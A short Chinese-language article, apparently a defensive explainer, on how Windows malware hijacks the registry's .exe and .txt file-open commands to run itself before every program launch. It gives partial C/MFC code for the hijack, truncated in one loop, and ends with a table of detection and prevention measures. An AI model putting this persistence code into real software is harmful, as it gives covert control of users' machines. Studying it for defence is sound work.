聲明:本文僅從防禦與安全研究角度分析惡意程式碼技術原理,嚴禁用於實際攻擊或製作惡意軟體。理解攻擊手法是建立有效防禦的前提。
Windows 透過註冊表 HKEY_CLASSES_ROOT\exefile\shell\open\command 定義 .exe 檔案的打開動作。預設值為 "%1" %* (執行檔案本身並傳遞參數)。惡意程式修改此值指向自身,導致使用者雙擊任意 .exe 皆先執行惡意程式,再由惡意程式啟動原本目標程式,達到隱蔽常駐與權限提升目的。
HANDLE hMutex = CreateMutex(FALSE, FALSE, "MyStart");
if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0);
CString str = AfxGetApp()->m_lpCmdLine; // 格式: "目標程式路徑" 參數...
// 處理路徑中的反斜線轉義: \ -> \\
CString temp;
for (int i=0; i
// 先恢復原始關聯,避免 ShellExecute 遞迴呼叫自身
char original[] = "\"%1\" %*";
RegSetValue(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", REG_SZ, original, strlen(original)+1);
// 執行原本目標程式
ShellExecute(NULL, "open", temp, NULL, NULL, SW_SHOW);
// 執行完成後,再次修改註冊表指向自身
TCHAR selfPath[256];
GetModuleFileName(NULL, selfPath, 255);
strcat(selfPath, " \"%1\" %*");
RegSetValue(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", REG_SZ, selfPath, strlen(selfPath)+1);
同理修改 HKEY_CLASSES_ROOT\txtfile\shell\open\command,指定 notepad.exe 為實際開啟程式,惡意程式作為中介層。
| 層面 | 措施 |
|---|---|
| 註冊表監控 | 監控 HKCR\exefile\shell\open\command 等關鍵鍵值變更,異常修改即時告警/阻攔 (HIPS/EDR 功能)。 |
| 完整性驗證 | 系統關鍵註冊表鍵值納入基線,定期比對 (如 Windows Resource Protection)。 |
| 應用程式白名單 | 僅允許簽名通過的程式執行 (AppLocker、WDAC),阻擋未授權中介程式。 |
| 行為分析 | 檢測「程式啟動 → 修改 exe 關聯 → 啟動其他程式 → 恢復關聯」行為鏈。 |
| 使用者教育 | 避免以管理員身份日常操作,降低惡意程式獲取寫入 HKCR 權限機率。 |